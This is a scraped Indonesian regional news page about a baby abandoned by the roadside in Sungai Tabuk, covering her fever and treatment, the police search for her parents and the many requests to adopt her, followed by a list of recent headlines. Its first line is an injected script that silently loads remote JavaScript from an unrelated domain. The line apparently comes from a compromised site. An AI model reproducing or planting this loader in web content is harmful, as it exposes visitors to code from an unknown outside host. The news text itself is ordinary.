(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HukumKanalSosial

Kondisi Bayi Sungai Tabuk Sempat Demam Tinggi


SUNGAI TABUK, Kondisi bayi mungil yang selamat setelah berjuang tiga hari di tempat pembuangan oleh orangtuanya, masih belum stabil. Menurut bidan puskesmas Sungai Tabuk, Norbaiti, yang merawatnya secara intensif, malamnya si bayi tersebut sempat mengalami demam tinggi.

Sekitar pukul 20.00 Wita kemarin malam, suhu tubuhnya mencapai 38,1 C. “Alhamdulillah setelah saya beri amuksilin dan paracetamol khusus balita, panas tubuhnya turun sampai mencapai normal lagi,” ungkap Norbaitu ditemui di ruang UGD Puskesmas Sungai Tabuk, Kamis (28/9).

Menurut perempuan yang kerap disapa Baiti ini, kini bayi tersebut dibawa oleh pihak kepolisisan ke Rumah Sakit Bayangkara untuk dipantau kesehatannya. Namun demikian, ada puluhan orang yang mengantri untuk menjenguk bayi malang ini saat di rumahnya, sekaligus meminta untuk menjadikan bayi tersebut sebagai anak.

“Sampai jam 22.30 Wita masih banyak orang di depan rumah saya, ngebet mau bawa anak ini untuk diadopsi,” terangnya.

Sementara itu, Kapolsek Sungai Tabuk AKP S. Rohayati menjelaskan, kesehatan bayi malang ini adalah hal yang utama. Oleh karena itu, pihaknya membawa ke Poltabes, Banjarmasin sekaligus dirawat oleh salah seorang polisi yang juga tergabung di Polda Kalsel.

“Iya, kan sementara ini banyak yang mau adopsi, di sisi lain kasus ini masih dalam tahap penyelidikan. Siapa tahu tim kepolisian kami nanti berhasil menemukan ibu atau bapak kandung si bayi. Paling tidak tunggu 6 bulan dulu sebelum bayi tersebut bisa diadopsi, kan ada undang-undang perlindungan anak juga,” ujarnya ditemui Kalimantanview di kantor Polsek Sungai Tabuk.

Kapolsek Sungai Tabuk AKP S. Rohayati

Dia juga mengatakan, kasus ini sedikit lebih rumit. Soalnya, penemuan bayi tersebut berlokasi di jalan Trans Provinsi, yang bisa saja diduga si A ini atau orang tua tinggalnya di wilayah yang jauh dari lokasi penemuan. “Bisa saja si pelaku dari Banjarmasin atau Kapuas atau Marabahan. Seandainya bayi itu ditemukana di wilayah pemukiman padat penduduk, pastinya kemungkinan besar dari masyarakat sekitar juga,” tukasnya.

Namun Kapolsek berharap, kasus pembuangan bayi ini cepat selesai dan kesehatan bayi tersebut tetap terjaga sebagaimana mestinya. “Kita sama-sama berdo’a lah,” pungkasnya.***


Desy Arfianty

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

3 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

4 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

5 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

5 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

21 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

23 jam ago

This website uses cookies.